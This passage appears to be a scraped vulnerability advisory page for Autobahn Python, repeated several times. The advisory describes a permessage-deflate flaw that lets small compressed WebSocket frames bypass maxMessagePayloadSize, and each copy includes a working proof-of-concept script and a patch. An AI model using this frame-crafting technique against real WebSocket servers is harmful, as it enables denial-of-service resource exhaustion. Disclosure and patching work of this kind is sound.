+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 02, 2019

19.5.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

May 12, 2019

19.3.5 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Mar 24, 2019

19.3.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
